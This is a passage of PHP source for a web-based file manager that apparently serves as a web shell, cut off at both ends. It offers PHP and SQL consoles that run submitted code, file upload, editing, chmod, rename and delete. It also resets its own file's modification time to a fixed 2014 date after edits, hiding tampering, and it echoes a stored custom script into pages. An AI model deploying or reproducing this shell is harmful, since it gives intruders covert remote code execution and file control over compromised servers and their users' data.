a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

